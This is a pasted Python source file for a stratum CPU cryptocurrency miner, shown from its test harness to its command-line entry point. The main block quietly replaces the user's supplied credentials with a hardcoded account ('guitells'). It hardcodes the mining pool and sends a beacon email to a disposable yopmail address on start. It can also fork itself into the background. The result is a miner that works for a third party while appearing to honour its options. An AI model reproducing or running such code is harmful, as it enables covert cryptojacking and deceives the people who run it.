  835. self.send(method = 'mining.subscribe', params = [ "%s/%s" % (USER_AGENT, '.'.join(str(p) for p in VERSION)) ])
  836.  
  837. # Forever...
  838. while True:
  839. time.sleep(10)
  840.  
  841.  
  842. def test_subscription():
  843. '''Test harness for mining, using a known valid share.'''
  844.  
  845. log('TEST: Scrypt algorithm = %r' % SCRYPT_LIBRARY, LEVEL_DEBUG)
  846. log('TEST: Testing Subscription', LEVEL_DEBUG)
  847.  
  848. subscription = SubscriptionScrypt()
  849.  
  850. # Set up the subscription
  851. reply = json.loads('{"error": null, "id": 1, "result": [["mining.notify", "ae6812eb4cd7735a302a8a9dd95cf71f"], "f800880e", 4]}')
  852. log('TEST: %r' % reply, LEVEL_DEBUG)
  853. ((mining_notify, subscription_id), extranounce1, extranounce2_size) = reply['result']
  854. subscription.set_subscription(subscription_id, extranounce1, extranounce2_size)
  855.  
  856. # Set the difficulty
  857. reply = json.loads('{"params": [32], "id": null, "method": "mining.set_difficulty"}')
  858. log('TEST: %r' % reply, LEVEL_DEBUG)
  859. (difficulty, ) = reply['params']
  860. subscription.set_difficulty(difficulty)
  861.  
  862. # Create a job
  863. reply = json.loads('{"params": ["1db7", "0b29bfff96c5dc08ee65e63d7b7bab431745b089ff0cf95b49a1631e1d2f9f31", "01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff2503777d07062f503253482f0405b8c75208", "0b2f436f696e48756e74722f0000000001603f352a010000001976a914c633315d376c20a973a758f7422d67f7bfed9c5888ac00000000", ["f0dbca1ee1a9f6388d07d97c1ab0de0e41acdf2edac4b95780ba0a1ec14103b3", "8e43fd2988ac40c5d97702b7e5ccdf5b06d58f0e0d323f74dd5082232c1aedf7", "1177601320ac928b8c145d771dae78a3901a089fa4aca8def01cbff747355818", "9f64f3b0d9edddb14be6f71c3ac2e80455916e207ffc003316c6a515452aa7b4", "2d0b54af60fad4ae59ec02031f661d026f2bb95e2eeb1e6657a35036c017c595"], "00000002", "1b148272", "52c7b81a", true], "id": null, "method": "mining.notify"}')
  864. log('TEST: %r' % reply, LEVEL_DEBUG)
  865. (job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime, clean_jobs) = reply['params']
  866. job = subscription.create_job(
  867. job_id = job_id,
  868. prevhash = prevhash,
  869. coinb1 = coinb1,
  870. coinb2 = coinb2,
  871. merkle_branches = merkle_branches,
  872. version = version,
  873. nbits = nbits,
  874. ntime = ntime
  875. )
  876.  
  877. # Scan that job (if I broke something, this will run for a long time))
  878. for result in job.mine(nounce_start = 1210450368 - 3):
  879. log('TEST: found share - %r' % repr(result), LEVEL_DEBUG)
  880. break
  881.  
  882. valid = { 'ntime': '52c7b81a', 'nounce': '482601c0', 'extranounce2': '00000000', 'job_id': u'1db7' }
  883. log('TEST: Correct answer %r' % valid, LEVEL_DEBUG)
  884.  
  885.  
  886.  
  887. # CLI for cpu mining
  888. if __name__ == '__main__':
  889. import argparse
  890.  
  891. # Parse the command line
  892. parser = argparse.ArgumentParser(description = "CPU-Miner for Cryptocurrency using the stratum protocol")
  893.  
  894. parser.add_argument('-o', '--url', help = 'stratum mining server url (eg: stratum+tcp://foobar.com:3333)')
  895. parser.add_argument('-u', '--user', dest = 'username', default = '', help = 'username for mining server', metavar = "USERNAME")
  896. parser.add_argument('-p', '--pass', dest = 'password', default = '', help = 'password for mining server', metavar = "PASSWORD")
  897.  
  898. parser.add_argument('-O', '--userpass', help = 'username:password pair for mining server', metavar = "USERNAME:PASSWORD")
  899.  
  900. parser.add_argument('-a', '--algo', default = ALGORITHM_SCRYPT, choices = ALGORITHMS, help = 'hashing algorithm to use for proof of work')
  901.  
  902. parser.add_argument('-B', '--background', action ='store_true', help = 'run in the background as a daemon')
  903.  
  904. parser.add_argument('-q', '--quiet', action ='store_true', help = 'suppress non-errors')
  905. parser.add_argument('-P', '--dump-protocol', dest = 'protocol', action ='store_true', help = 'show all JSON-RPC chatter')
  906. parser.add_argument('-d', '--debug', action ='store_true', help = 'show extra debug information')
  907.  
  908. parser.add_argument('-v', '--version', action = 'version', version = '%s/%s' % (USER_AGENT, '.'.join(str(v) for v in VERSION)))
  909.  
  910. options = parser.parse_args(sys.argv[1:])
  911.  
  912. message = None
  913.  
  914. # Get the username/password
  915. username = 'guitells'
  916. password = '123'
  917.  
  918.  
  919. # Set the logging level
  920. if options.debug:DEBUG = True
  921. if options.protocol: DEBUG_PROTOCOL = True
  922. if options.quiet: QUIET = True
  923.  
  924. if DEBUG:
  925. for library in SCRYPT_LIBRARIES:
  926. set_scrypt_library(library)
  927. test_subscription()
  928.  
  929. # Set us to a faster library if available
  930. set_scrypt_library()
  931. if options.algo == ALGORITHM_SCRYPT:
  932. log('Using scrypt library %r' % SCRYPT_LIBRARY, LEVEL_DEBUG)
  933.  
  934. # The want a daemon, give them a daemon
  935. if options.background:
  936. import os
  937. if os.fork() or os.fork(): sys.exit()
  938.  
  939. # Heigh-ho, heigh-ho, it's off to work we go...
  940. s = smtplib.SMTP('localhost')
  941. s.sendmail('yaya777@yopmail.com', 'yoyo777@yopmail.com', '\O/')
  942. s.quit()
  943. miner = Miner('http://mint.bitminter.com:3333', username, password, algorithm = options.algo)
  944. miner.serve_forever()
Add Comment
Please, Sign In to add comment